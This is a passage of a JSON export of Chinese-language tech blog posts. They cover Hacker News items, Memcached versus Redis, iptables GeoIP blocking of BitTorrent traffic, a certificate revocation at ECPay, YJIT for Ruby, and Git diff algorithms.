2019, received at the Court on 14 January 2020[.]</blockquote>\r\n\r\n但不管怎樣，算是有些東西出來了... 然後 Hacker News 上面的討論就看到一些很歡樂的例子：\r\n\r\n<blockquote>This becomes incredibly interesting in terms of e.g. Denuvo. This anti-piracy middleware has been shown to make games unplayable, and this EU law seems to support removing it.</blockquote>\r\n\r\n哭啊怎麼提到該死的 <a href=\"https://en.wikipedia.org/wiki/Denuvo\">Denuvo</a> XDDD",
    "title": "EULA 不能禁止使用者 decompile 修 bug"
  },
  {
    "id": "10374",
    "body": "前幾天看到的東西，用 <a href=\"https://en.wikipedia.org/wiki/AWK\">AWK</a> 寫的 <a href=\"https://en.wikipedia.org/wiki/Git\">Git</a>：「<a href=\"https://github.com/djanderson/aho\">Aho: A Git implementation in AWK.</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=28771841\">A Git Implementation in Awk (github.com/djanderson)</a>」也可以翻一下。\r\n\r\nAho 這個名字取自 AWK 的作者之一 <a href=\"https://en.wikipedia.org/wiki/Alfred_Aho\">Alfred Aho</a> (AWK 中的 A)，然後查資料才發現他剛拿到去年 2020 的 <a href=\"https://en.wikipedia.org/wiki/Turing_Award\">Turing Award</a>...\r\n\r\n作者提到了為什麼會用 AWK 寫 Git，看起來就是個爽字 XDDD：\r\n\r\n<blockquote>I've had the irrational desire to write something substantial in AWK for a while. Figured I might as well learn some Git internals while I scratch this itch.</blockquote>\r\n\r\n然後他有提到他沒打算把網路相關的功能實做進去：\r\n\r\n<blockquote>I don't plan to add network functionality to this (even though you totally can), so no clone or push.</blockquote>\r\n\r\n是個有趣的專案，寫爽的 XD",
    "title": "用 AWK 寫的 Git"
  },
  {
    "id": "10375",
    "body": "在「<a href=\"https://engineering.kablamo.com.au/posts/2021/memcached-vs-redis-whats-the-difference\">Memcached vs Redis - More Different Than You Would Expect</a>」這邊看到對 <a href=\"https://www.memcached.org/\">Memcached</a> 與 <a href=\"https://redis.io/\">Redis</a> 的分析。\r\n\r\n這兩套軟體都很常被拿來用作 cache 機制，所以一般來說比較時就是比兩邊都有的東西 (如果你要 pub-sub 之類的東西，在這兩套裡面只有 Redis 有)。\r\n\r\n最前面還是先講了對使用者 (開發者) 的差異，很明顯的是 Redis 對各種不同的資聊結構都有支援，這點可以從 Redis 被官方被稱作 Data Structures Server 就可以知道 (在「<a href=\"https://redis.io/topics/data-types-intro\">An introduction to Redis data types and abstractions</a>」這篇可以看到)，而 Memcached 只支援了 key-value 架構。\r\n\r\n不過如果是以 cache 來說，的確 key-value 架構就還蠻好用的。\r\n\r\n後面就開始比較硬的主題了，提到了 Memcached 與 Redis 內部是怎麼使用記憶體的。\r\n\r\nMemcached 的部份先提了 page/slab/chunk 的架構以及產生的效能限制與浪費，接著有提到 2020 年 refactor 的部份 (太久沒有看 Memcached 的消息，去年沒跟到這個部份)，讓多 CPU 的支援度更好。\r\n\r\nRedis 則是靠 <a href=\"https://en.wikipedia.org/wiki/Jemalloc\">jemalloc</a> 來處理這個部份，另外加上 background thread 的機制降低 fragment。\r\n\r\n然後是比較 cache expiration 的部份，可以看到兩者用的演算法在現實世界中都夠用 (尤其是當作 cache 來用)，這部份跟印象中的架構差不多，應該是沒有太大變化。\r\n\r\n最後是比較 cluster 的部份，Memcached 是 share nothing，所以沒什麼好說的，主要是靠 client library 實做 consistent hash 之類的架構打散；而 Redis 的話看起來有實做新的機制出來 (也沒跟到)，之後有機會再看看可以做到什麼程度。\r\n\r\n不過好像沒提到 proxy 之類的架構，基本上各大公司都有自己幹：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.facebook.com/\">Facebook</a> 的 <a href=\"https://github.com/facebook/mcrouter\">Mcrouter</a></li>\r\n\t<li><a href=\"https://twitter.com/\">Twitter</a> 的 <a href=\"https://github.com/twitter/twemproxy\">twemproxy</a></li>\r\n\t<li><a href=\"https://www.netflix.com/\">Netflix</a> 的 <a href=\"https://github.com/Netflix/rend\">Rend</a></li>\r\n</ul>\r\n\r\n少了這塊對於 cluster 架構的完整性差蠻多的。\r\n\r\n文章最後沒有下定論一定要用哪個比較好，兩者都有強項與弱項，還是得看情況來處理。不過我自己還是很喜歡用 Memcached 就是了...",
    "title": "Memcached 與 Redis 的比較"
  },
  {
    "id": "10377",
    "body": "這兩天發現 <code>ubuntu-20.04.3-live-server-amd64.iso</code> 這個 BitTorrent 的 ISO image 有大量來自 CN 的連線在狂抓，導致整個上傳頻寬都被吃滿：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"zh\" dir=\"ltr\">ubuntu-20.04.3-live-server-amd64.iso 這個檔案突然被大量的 bittorrent client 下載，不知道發生什麼事情...</p>&mdash; Gea-Suan Lin (DK) (@gslin) <a href=\"https://twitter.com/gslin/status/1448722225922658326?ref_src=twsrc%5Etfw\">October 14, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n沒想到第一次用 <a href=\"https://en.wikipedia.org/wiki/Iptables\">iptables</a> 的 xt_geoip 居然是這個用途... 主要是參考「<a href=\"https://ultramookie.com/2020/10/geoip-blocking-ubuntu-20.04/\">GeoIP Blocking Ubuntu 20.04LTS</a>」這邊的方法，不過因為我的 <a href=\"https://en.wikipedia.org/wiki/RTorrent\">rtorrent</a> 是跑在 <a href=\"https://www.docker.com/\">Docker</a> 裡面的，有另外要注意的地方。\r\n\r\n首先是安裝軟體，這邊要裝 <a href=\"https://packages.ubuntu.com/search?keywords=xtables-addons-common\">xtables-addons-common</a> 與 <a href=\"https://packages.ubuntu.com/search?keywords=libtext-csv-xs-perl\">libtext-csv-xs-perl</a>：\r\n\r\n<pre>\r\nsudo apt install -y libtext-csv-xs-perl xtables-addons-common\r\n</pre>\r\n\r\n再來是建立目錄，並且下載一包 GeoIP 的資料 (從 <a href=\"https://db-ip.com/\">DBIP</a> 下載) 並且轉成 xt_geoip 可以用的格式：\r\n\r\n<pre>\r\nsudo mkdir /usr/share/xt_geoip\r\ncd /usr/share/xt_geoip\r\nsudo /usr/lib/xtables-addons/xt_geoip_dl\r\nsudo /usr/bin/perl /usr/lib/xtables-addons/xt_geoip_build\r\n</pre>\r\n\r\n然後就是加到 iptables 的條件裡面了，我加到兩個地方，一個是 <code>INPUT</code> chain，另外一個是 <code>DOCKER-USER</code> chain (參考「<a href=\"https://docs.docker.com/network/iptables/\">Docker and iptables</a>」這邊的說明)，假設你是用 port 6991 的話就這樣加：\r\n\r\n<pre>\r\nsudo iptables -I INPUT -p tcp -m geoip --source-country CN -m tcp --dport 6991 -j DROP\r\nsudo iptables -I DOCKER-USER -p tcp -m geoip --source-country CN -m tcp --dport 6991 -j DROP\r\n</pre>\r\n\r\n然後可以考慮每個禮拜更新一次資料庫。\r\n\r\n另外在找資料的時候發現「<a href=\"https://mailfud.org/geoip-legacy/\">Free updated GeoIP legacy databases</a>」這邊有人放出 <a href=\"https://www.maxmind.com/\">MaxMind</a> 的版本，不過免費版的應該都差不多，這邊就用 xtables-addons-common 內預設的。\r\n\r\n弄完以後就正常多了...",
    "title": "用 iptables 擋特定國家的封包"
  },
  {
    "id": "10380",
    "body": "前幾天社群蠻熱鬧在討論<a href=\"https://www.ecpay.com.tw/\">綠界</a>的 <code>*.ecpay.com.tw</code> 憑證被上游 <a href=\"https://sectigo.com/\">Sectigo</a> 給 revoke，而導致 <a href=\"https://login.ecpay.com.tw\">login.ecpay.com.tw</a> 無法連線的問題 (<a href=\"https://crt.sh/?id=3608838685\">ba:d3:26:14:db:53:1b:56:49:8d:de:d5:0c:68:b9</a> 這張，另外參考點了 <a href=\"https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol\">OCSP</a> 檢查的 <a href=\"https://crt.sh/?id=3608838685&opt=ocsp\">https://crt.sh/?id=3608838685&amp;opt=ocsp</a> 結果)，可以看 domain 知道這個網域比較偏使用者的用途 (而非 API 類)，會買 <a href=\"https://en.wikipedia.org/wiki/Extended_Validation_Certificate\">EV</a> 主要就是要用在瀏覽器上，所以這邊主要就討論瀏覽器受到影響的部份...\r\n\r\n因為 Sectigo 是透過 <a href=\"https://en.wikipedia.org/wiki/Certificate_revocation_list\">CRL</a> 與 OCSP 兩個機制把 revoke 資訊送出來，所以各家瀏覽器的處理方式會不太一樣...\r\n\r\n首先是市占率最高的 <a href=\"https://www.google.com/chrome/\">Chrome</a>，因為有自家的機制在處理 revoke，不走 CRL 或是 OCSP，所以大多數的使用者應該都沒有受到影響 (不確定...)，但 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 與 <a href=\"https://www.apple.com/safari/\">Safari</a> 都吃 OCSP，所以都會炸掉。\r\n\r\n這次有看到兩個社群有一些討論，一個是「<a href=\"https://www.facebook.com/groups/rayforum/posts/4417812681632189/\">https://www.facebook.com/groups/rayforum/posts/4417812681632189/</a>」，另外一個是「<a href=\"https://www.facebook.com/groups/616369245163622/posts/2497356027064925/\">https://www.facebook.com/groups/616369245163622/posts/2497356027064925/</a>」這邊。\r\n\r\nVincent Liang 有貼了 Sectigo 送 revoke 的原因，在 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的 <a href=\"https://www.bugzilla.org/\">Bugzilla</a> 上面有 Sectigo 的主動通報：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1736064\">Sectigo: Subject field with unvalidated information included in certificates</a>」，看起來是因為在內部 code review 的時候發現 <code>postOfficeBox</code> (<del>以台灣來說就是郵遞區號</del>郵政信箱) 這個欄位的問題：\r\n\r\n<blockquote>Though the postOfficeBox field is permissible for inclusion in OV certificates, any field containing unvalidated information is not permissible. Furthermore, the EV Guidelines prohibit this field at all for EV certificates.</blockquote>\r\n\r\n也就是說，在 OV 憑證內可以列入 <code>postOfficeBox</code>，但需要確認後才能列進去；而 EV 憑證則是不允許列 <code>postOfficeBox</code> 的；因為這兩個原因，這些憑證都要 revoke，另外也因為 <a href=\"https://cabforum.org/baseline-requirements-documents/\">Baseline Requirements</a> 與 <a href=\"https://cabforum.org/extended-validation/\">EV SSL Certificate Gudidelines</a> 的要求而需要主動通報。\r\n\r\nSectigo 有列出 453 個受到影響的憑證，不過發文者 Lorex L. Yang 有注意到綠界的這個憑證沒有被列在這 453 個受到影響的憑證內，但是後來也有被 revoke 掉...\r\n\r\n所以現在問題就來了，會不會 Sectigo 根本沒通知綠界要換憑證？另外 Sectigo 的通報內容不實也是一個大問題，因為沒有人在 Bugzilla 上提到，所以我就在上面回個 comment 把這個議題拋出來，讓 Mozilla 的人知道後繼續查下去...\r\n\r\n當然綠界花了十八個小時解決也是個問題，不過那個就不是我們能管到的了...",
    "title": "前幾天綠界 *.ecpay.com.tw 憑證爆掉的事情"
  },
  {
    "id": "10381",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 FreeBSD 把 root 的 shell 從 <code>/bin/csh</code> 換成 <code>/bin/sh</code> 了：「<a href=\"https://cgit.freebsd.org/src/commit/?id=d410b585b6f00a26c2de7724d6576a3ea7d548b7\">sh(1): make it the default shell for the root user</a>」，Hacker News 上的討論也可以看一看：「<a href=\"https://news.ycombinator.com/item?id=28927967\">FreeBSD switches the default root shell from csh to sh (freebsd.org)</a>」。\r\n\r\n依照說明是把 FreeBSD 的 <code>/bin/sh</code> 加上了不少東西，所以算是堪用了：\r\n\r\n<pre>In the recent history sh(1) has gain the missing features for it to\r\nbecome a usable interractive shell:\r\n- command completion\r\n- persistent history support\r\n- improvements on the default bindings in emacs mode\r\n- improvements in the vi mode (repect $EDITOR)\r\n- print a newline when exiting via ^D\r\n- default prompt and improvements on how PS1 can be configured\r\n- and more.\r\n\r\nThis changes also simplifies making tiny freebsd images with only sh(1)\r\nas a shell</pre>\r\n\r\n以前也是用 csh 系列的 (像是 <a href=\"https://en.wikipedia.org/wiki/Tcsh\">tcsh</a>)，後來開始用 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 就往 <a href=\"https://en.wikipedia.org/wiki/Bash_(Unix_shell)\">Bash</a> 與 <a href=\"https://en.wikipedia.org/wiki/Z_shell\">Zsh</a> 定居了...",
    "title": "FreeBSD 把 root 預設的 shell 改成 /bin/sh"
  },
  {
    "id": "10382",
    "body": "<a href=\"https://www.raspberrypi.com/\">Raspberry Pi</a> 宣佈 <a href=\"https://www.raspberrypi.com/products/raspberry-pi-4-model-b/\">Raspberry Pi 4</a> 的 2GB 版本將從 US$35 漲到 US$45，另外本來淘汰掉的 1GB 版本回歸，賣 US$35：「<a href=\"https://www.raspberrypi.com/news/supply-chain-shortages-and-our-first-ever-price-increase/\">Supply chain, shortages, and our first-ever price increase</a>」。\r\n\r\n<blockquote>In February last year, we announced that we were discontinuing the 1GB variant of Raspberry Pi 4, and moving the 2GB product to our signature price of $35. We’re still glad we did this, as countless young people made use of this device as they studied from home during the pandemic.\r\n\r\nUnfortunately, cost increases caused by the current shortage mean that this product is not currently economically viable at this reduced price point. We are therefore moving it back to $45 on a temporary basis.</blockquote>\r\n\r\n<blockquote>To support the many industrial customers who have designed the 2GB variant of Raspberry Pi 4 into their products, we are reintroducing the 1GB variant at the $35 price point. This provides a degree of choice: less memory at the same price; or the same memory at a higher price.</blockquote>\r\n\r\n然後共用 40nm 製程的 <a href=\"https://www.raspberrypi.com/products/raspberry-pi-3-model-b-plus/\">3B+</a> 會暫時先被降低優先權，產能會優先提供給 <a href=\"https://www.raspberrypi.com/products/compute-module-3/\">CM3</a>、<a href=\"https://www.raspberrypi.com/products/compute-module-3-plus/\">CM3+</a> 與 <a href=\"https://www.raspberrypi.com/products/raspberry-pi-3-model-b/\">3B</a>：\r\n\r\n<blockquote>In allocating our limited stocks of 40nm silicon, we will prioritise Compute Module 3, Compute Module 3+, and Raspberry Pi 3B, and deprioritise Raspberry Pi 3B+.</blockquote>\r\n\r\n整個供應鏈的情況被炸的亂七八糟...",
    "title": "Raspberry Pi 4 2GB 版本「暫時」漲價，另外 1GB 版本回歸"
  },
  {
    "id": "10383",
    "body": "<a href=\"https://frame.work/\">Framework</a> 的筆電最近在社群很紅，模組化設計讓維修變容易，而且也有許多規格上的客製化空間。在「<a href=\"https://frame.work/marketplace\">Marketplace</a>」這頁可以看到很多東西可以換，除了比較常見的無線網卡、SSD、記憶體以外，像是主機板、鍵盤甚至連 USB、HDMI 接口都是模組。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bvKxskv.webp\" /><img src=\"https://i.gslin.com/imgur/bvKxskv.png\" alt=\"\" /></picture>\r\n\r\n不過這邊要提到的是 audio chip 也在這波 supply chain 的供貨問題而中招了：「<a href=\"https://frame.work/blog/solving-for-silicon-shortages\">Solving for Silicon Shortages</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=28969550\">Framework: Solving for Silicon Shortages (frame.work)</a>」也可以看一下。\r\n\r\n從文章裡看起來是 Realtek ALC295 的交期爆炸了：\r\n\r\n<blockquote>Chips that would normally have 16-20 week lead times (meaning we’d place typically binding orders that far ahead of needing parts in our hands) went up to 52 weeks.  In one case, we even got notified of a 68 week lead time on a chip!</blockquote>\r\n\r\n<blockquote>We were able to get enough Realtek ALC295 audio CODECs to develop the Framework Laptop and get through the first few months of production, but nowhere near enough to fulfill ongoing demand from the US and Canada, let alone the additional countries we’d like to ship to.</blockquote>\r\n\r\n所以決定換到 <a href=\"https://temposemi.com/products/pclaptop-hd/92hd95/\">Tempo 92HD95B</a>：\r\n\r\n<blockquote>Luckily, we were able to find an alternative CODEC that lets us stay in production: the Tempo 92HD95B.</blockquote>\r\n\r\n查了一下 datasheet，本來的 Realtek ALC295 是 QFN-48，而 Tempo 92HD95B 是 QFN-40，看起來得改不少東西... 應該是連 open market 上都翻不到而被迫換設計，跟我們家的情況也很像，看起來最近大家都哭到爆炸了 :o",
    "title": "Framework 筆電也遇到缺料問題，換了音源晶片"
  },
  {
    "id": "10384",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=28959128\">Hackernews.com (hackernews.com)</a>」這則消息，有人注意到 <a href=\"https://hackernews.com\">hackernews.com</a> 被指到 <a href=\"https://news.ycombinator.com\">news.ycombinator.com</a>...\r\n\r\n一開始有人猜測只是第三方指過來：\r\n\r\n<blockquote>LeoPanthera 1 day ago\r\n\r\nWith a different registrar to ycombinator.com, this is likely not owned by Y Combinator, and therefore difficult to trust that it won't start being malicious in the future.</blockquote>\r\n\r\n不過後來 <a href=\"https://news.ycombinator.com/user?id=dang\">dang</a> (Hacker News 的管理員) 有出來證實這個網域名稱目前是在他們旗下了：\r\n\r\n<blockquote>dang 1 day ago\r\n\r\nIt's owned by YC now. We got it earlier this year. That's why it redirects to HN!</blockquote>\r\n\r\n以 Hacker News 的性質來說不是太重要，算是有機會拿掉就順便拿下來...",
    "title": "Hacker News 拿到 hackernews.com 了"
  },
  {
    "id": "10385",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的消息，由 <a href=\"https://www.shopify.com/\">Shopify</a> 贊助的 YJIT 被 <a href=\"https://www.ruby-lang.org/\">Ruby</a> 官方接受了：「<a href=\"https://news.ycombinator.com/item?id=28938446\">Merge YJIT: an in-process JIT compiler (github.com/ruby)</a>」。\r\n\r\n<blockquote>YJIT currently provides average speedups of 23% over the CRuby interpreter on realistic benchmarks, and near-instant warm-up time.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oSGpg11.webp\" /><img src=\"https://i.gslin.com/imgur/oSGpg11.png\" alt=\"\" /></picture>\r\n\r\n實做 YJIT 的 <a href=\"https://pointersgonewild.com/\">Maxime Chevalier-Boisvert</a> 在他自己的 blog 上有提到這次的實做：「<a href=\"https://pointersgonewild.com/2021/06/02/yjit-building-a-new-jit-compiler-inside-cruby/\">YJIT: Building a New JIT Compiler Inside CRuby</a>」，裡面選擇的方法是他的 PhD 論文：「<a href=\"https://arxiv.org/abs/1411.0352\">Simple and Effective Type Check Removal through Lazy Basic Block Versioning</a>」。\r\n\r\n可以看到在六月寫文章的時候，改善其實還沒這麼大，而且作者提到有不少可以再提昇的空間：\r\n\r\n<blockquote>That being said, according to our benchmarks, we’ve been able to achieve speedups over the CRuby interpreter of 7% on railsbench, 19% on liquid template rendering, and 19% on activerecord.</blockquote>\r\n\r\n<blockquote>Currently, only about 50% of instructions in railsbench are executed by YJIT, and the rest run in the interpreter, meaning that there is still a lot we can do to improve upon our current results.</blockquote>\r\n\r\n本來的 MJIT 看起來會慢慢淡出...",
    "title": "YJIT 帶給 Ruby 大量的效能提昇"
  },
  {
    "id": "10386",
    "body": "標題不知道怎麼下，大概就是這樣...\r\n\r\n從 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上翻到的，以這個 upvote 數量來看，應該會收到今天的 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上：「<a href=\"https://news.ycombinator.com/item?id=28978086\">Despite having just 5.8% sales, over 38% of bug reports come from Linux (reddit.com)</a>」。\r\n\r\n作者是一位獨立遊戲開發者，在兩年前推出了「<a href=\"https://store.steampowered.com/app/846030/V_Rings_of_Saturn/\">ΔV: Rings of Saturn</a>」這款遊戲，並且也發佈了 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 版。\r\n\r\n作者先就數字來比較，他賣出了 12000 套，其中 700 套是 Linux 玩家；另外他收到了 1040 個 bug report，其中大約 400 個是從 Linux 玩家回報的：\r\n\r\n<blockquote>As of today, I sold a little over 12,000 units of ΔV in total. 700 of these units were bought by Linux players. That’s 5.8%. I got 1040 bug reports in total, out of which roughly 400 are made by Linux players.</blockquote>\r\n\r\n<blockquote>That’s one report per 11.5 users on average, and one report per 1.75 Linux players. That’s right, an average Linux player will get you 650% more bug reports.</blockquote>\r\n\r\n看文章時可能會覺得「Linux 玩家真難伺候」，但實際上作者講到，這 400 個 bug 裡面只有 3 個 bug 是平台相關的 (只會發生在 Linux 上)，其他的 bug 其實是所有平台都會發生：\r\n\r\n<blockquote>A lot of extra work for just 5.8% of extra units, right?\r\n\r\nWrong. Bugs exist whenever you know about them, or not.\r\n\r\nDo you know how many of these 400 bug reports were actually platform-specific? 3. Literally only 3 things were problems that came out just on Linux. The rest of them were affecting everyone[.]</blockquote>\r\n\r\n原因是 Linux 社群在參與各種 open source project 養成的習慣，會盡可能把各種資訊講清楚，並且找出可以重製問題的方式：\r\n\r\n<blockquote>The thing is, the Linux community is exceptionally well trained in reporting bugs. That is just the open-source way. This 5.8% of players found 38% of all the bugs that affected everyone. Just like having your own 700-person strong QA team. That was not 38% extra work for me, that was just free QA!</blockquote>\r\n\r\n<blockquote>But that’s not all. The report quality is stellar.</blockquote>\r\n\r\n與一般玩家的回報方式完全不同，Linux 玩家很習慣就會附上基本的環境資訊，系統紀錄，甚至有時候還會包括 core dump 與 reproducible steps：\r\n\r\n<blockquote>I mean we have all seen bug reports like: “it crashes for me after a few hours”. Do you know what a developer can do with such a report? Feel sorry at best. You can’t really fix any bug unless you can replicate it, see it with your own eyes, peek inside and finally see that it’s fixed.</blockquote>\r\n\r\n<blockquote>And with bug reports from Linux players is just something else. You get all the software/os versions, all the logs, you get core dumps and you get replication steps. Sometimes I got with the player over discord and we quickly iterated a few versions with progressive fixes to isolate the problem. You just don’t get that kind of engagement from anyone else.</blockquote>\r\n\r\n不知道有沒有遇到回報 <a href=\"https://en.wikipedia.org/wiki/GNU_Debugger\">GDB</a> 資訊的...\r\n\r\n很特別的分享 XDDD",
    "title": "獨立遊戲創作者推出 Linux 版的好處"
  },
  {
    "id": "10391",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=28976526\">RFC 3339 vs. ISO 8601 (ijmacd.github.io)</a>」這個連結，原始網站是「<a href=\"https://ijmacd.github.io/rfc3339-iso8601/\">RFC 3339 vs ISO 8601</a>」。\r\n\r\n兩個都是試著定義日期與時間的表達方式，其中 <a href=\"https://en.wikipedia.org/wiki/ISO_8601\">ISO 8601</a> 是在 1988 年定義出來的，被廣泛應用在很多 spec 裡，但最大的問題就是 ISO 8601 沒辦法公開免費取得，這點在前幾個月也在 Hacker News 上被討論過：「<a href=\"https://news.ycombinator.com/item?id=26400089\">ISO-8601 date format reference not publicly available (twitter.com/isostandards)</a>」。\r\n\r\n而 <a href=\"https://tools.ietf.org/html/rfc3339\">RFC 3339</a> 是在 2002 年訂出來，其中一個目標就是試著解決 ISO 8601 不公開的問題 (沒講明就是了)：\r\n\r\n<blockquote>This document includes an Internet profile of the ISO 8601 [ISO8601] standard for representation of dates and times using the Gregorian calendar.</blockquote>\r\n\r\n這份 RFC 3339 與 ISO 8601 的比較可以讓設計 spec 的人可以看一下，在大多數的情況下，RFC 3339 應該是夠用的...",
    "title": "RFC 3339 與 ISO 8601 用範例的比較"
  },
  {
    "id": "10392",
    "body": "今天發現 <a href=\"https://brave.com/\">Brave</a> 在視窗最大化時會超出預期的邊界，而非放大到螢幕的邊緣，找了一下發現有人已經在 Brave 的 <a href=\"https://github.com/\">GitHub</a> 上開了「<a href=\"https://github.com/brave/brave-browser/issues/18964\">Incorrect scale if browser is full screen #18964</a>」這張票，後來看到有人說在 <a href=\"https://www.chromium.org/\">Chromium</a> 的 bug system 上已經有人提出來了：「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=1257119\">Issue 1257119: Goes under the taskbar when maximized</a>」、「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=1260821\">Issue 1260821: maximise gets screen dimension wron</a>」與「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=1261797\">Issue 1261797: [User Feedback - Stable] Reports that when Chrome is maximized after being minimized, it launches to beyond the window frame on Linux</a>」。\r\n\r\n這次遇到的 bug 看起來是只有用 <a href=\"https://en.wikipedia.org/wiki/Xfce\">XFCE</a> 的使用者才會中獎，目前先摸索出一套 workaround 是透過 <a href=\"https://en.wikipedia.org/wiki/Wmctrl\">wmctrl</a> 操作修改瀏覽器的位置與視窗大小。\r\n\r\n方法是先用 <code>wmctrl -l -G</code> 列出所有視窗的資訊，包括 geometry 的資料，接著再用 <code>wmctrl -i -r 0x12345678 -e 0,3760,15,1232,1935</code> 這樣的指令去指定瀏覽器的位置與視窗大小。\r\n\r\n不知道要撐多久就是了...",
    "title": "XFCE 配上 Chromium 系列瀏覽器 (Chrome/Brave/...)，視窗最大化時的問題"
  },
  {
    "id": "10394",
    "body": "在「<a href=\"https://www.cnx-software.com/2021/10/26/usb-board-emulates-cr2032-or-cr2016-coin-cell-battery/\">USB board emulates CR2032 or CR2016 coin cell battery</a>」這邊看到的有趣東西，用 USB 供 5V 電進來，然後轉成 3V 透過 CR2032 或是 CR2016 的鈕扣電池形式提供電源：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/St2WxUM.webp\" /><img src=\"https://i.gslin.com/imgur/St2WxUM.jpg\" alt=\"\" /></picture>\r\n\r\n看說明是可以拿來開發測試用：\r\n\r\n<blockquote>You can now develop CR2032 or CR2016 powered devices without having to use an actual coin cell thanks to Peter Misenko’s (Bobricius) “coin cell battery emulator CR2016/CR2032”.</blockquote>\r\n\r\n看起來只要旁邊的延伸段不要卡住就可以這樣玩，不過一般開發測試板應該是有 pin 腳可以灌 3V 進去啦，算是蠻有趣的東西就是了...",
    "title": "用 USB 供電的 CR2032/CR2016"
  },
  {
    "id": "10395",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://www.codingfont.com/\">Coding Font by Typogram – Find Your True Love of Coding Fonts</a>」這個，可以直接用二選一的方式挑出自己喜歡的 coding 的字型...\r\n\r\n不過我的習慣是偶而就會換個字型，對我來說更有用的是字型列表，另外網站也提供了界面可以看：\r\n\r\n<ul>\r\n\t<li>Anonymous Pro</li>\r\n\t<li>Azeret Mono</li>\r\n\t<li>B612 Mono</li>\r\n\t<li>Courier Prime</li>\r\n\t<li>Cousine</li>\r\n\t<li>Cutive Mono</li>\r\n\t<li>DM Mono</li>\r\n\t<li>Fira Code</li>\r\n\t<li>Fira Mono</li>\r\n\t<li>IBM Plex Mono</li>\r\n\t<li>Inconsolata</li>\r\n\t<li>JetBrains Mono</li>\r\n\t<li>Major Mono Display</li>\r\n\t<li>Nanum Gothic Coding</li>\r\n\t<li>Noto Sans Mono</li>\r\n\t<li>Nova Mono</li>\r\n\t<li>Overpass Mono</li>\r\n\t<li>Oxygen Mono</li>\r\n\t<li>PT Mono</li>\r\n\t<li>Roboto Mono</li>\r\n\t<li>Share Tech Mono</li>\r\n\t<li>Source Code Pro</li>\r\n\t<li>Space Mono</li>\r\n\t<li>Syne Mono</li>\r\n\t<li>Ubuntu Mono</li>\r\n\t<li>VT323</li>\r\n\t<li>Xanh Mono</li>\r\n</ul>\r\n\r\n裡面有些字型以前連用都沒用過，看起來可以找來用看看... 不過看了一輪發現有些字型應該不是為了 coding 用的，像是 <a href=\"https://fonts.google.com/specimen/Space+Mono\">Space Mono</a> 的 <code>fixed</code> 就會把 <code>f</code> 與 <code>i</code> 連在一起而且只佔一格：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XIjTwqx.webp\" /><img src=\"https://i.gslin.com/imgur/XIjTwqx.png\" alt=\"\" /></picture>\r\n\r\n然後我自己用 15px 玩了一輪選到了 <a href=\"https://github.com/displaay/Azeret/\">Azeret Mono</a>，看起來可以裝起來用看看...",
    "title": "挑 Coding 字型的網站"
  },
  {
    "id": "10397",
    "body": "在 <a href=\"https://lobsters-daily.reight.io/\">Lobsters Daily</a> 上看到「<a href=\"https://luppeng.wordpress.com/2020/10/10/when-to-use-each-of-the-git-diff-algorithms/\">When to Use Each of the Git Diff Algorithms</a>」這篇 2020 的文章 (Lobsters 這邊常冒出一些舊文章)，講 <a href=\"https://git-scm.com/\">Git</a> 的 diff 演算法。\r\n\r\n文章裡面題到了四個演算法，看了一下 <a href=\"https://git-scm.com/docs/git-diff\">git-diff</a> 的 manpage 也還是這四個：\r\n\r\n<pre>\r\n--diff-algorithm={patience|minimal|histogram|myers}\r\n</pre>\r\n\r\n另外看 manpage 時還有看到 <code>--anchored</code> 的用法，看起來是用來提示 Git 產生比較好懂的 diff 結果：\r\n\r\n<blockquote>--anchored=&lt;text&gt;\r\n\r\nGenerate a diff using the \"anchored diff\" algorithm.\r\n\r\nThis option may be specified more than once.\r\n\r\nIf a line exists in both the source and destination, exists only once, and starts with this text, this algorithm attempts to prevent it from appearing as a deletion or addition in the output. It uses the \"patience diff\" algorithm internally.</blockquote>\r\n\r\n回頭翻了一下自己的 <a href=\"https://gitlab.gslin.com/gslin/config\">config</a> repository，看起來 2017 年年底的時候我就加了「<a href=\"https://gitlab.gslin.com/gslin/config/-/commit/fd43649b63e24c0972e024beaf33959746ed2f1f\">Use histogram diff algorithm.</a>」，然後過幾天換成「<a href=\"https://gitlab.gslin.com/gslin/config/-/commit/16b66bd9dbe2281d84bedf3b8820ffc8a0db9f72\">Use patience algorithm.</a>」，就一直用到現在...\r\n\r\n這次改用 <code>minimal</code> 跑一陣子看看好了...",
    "title": "Git 的 Diff 演算法"
  },
  {
    "id": "10398",
